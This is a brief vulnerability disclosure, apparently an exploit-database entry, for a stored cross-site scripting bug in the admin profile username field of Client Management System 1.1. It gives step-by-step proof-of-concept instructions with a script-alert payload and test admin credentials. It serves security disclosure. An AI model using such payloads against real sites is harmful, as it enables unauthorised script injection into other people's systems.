Client Management System 1.1 Cross Site Scripting

`# Exploit Title: Client Management System 1.1 - 'username' Stored Cross-Site Scripting (XSS)  
# Date: 14 June 2021  
# Exploit Author: BHAVESH KAUL  
# Vendor Homepage: https://phpgurukul.com  
# Software Link: https://phpgurukul.com/client-management-system-using-php-mysql/  
# Version: 1.1  
# Tested on: Server: XAMPP  
  
# Description #  
  
Client Management System 1.1 is vulnerable to stored cross site scripting because of insufficient user supplied data sanitization.   
  
# Proof of Concept (PoC) : Exploit #  
  
1) Goto: http://localhost/clientms/admin/index.php  
2) Login as admin using test credentials: admin/Test@123  
3) Goto: http://localhost/clientms/admin/admin-profile.php  
4) Enter the following payload in the user name field: <script>alert(1)</script>  
5) Click on Update  
6) Our payload is fired and stored  
`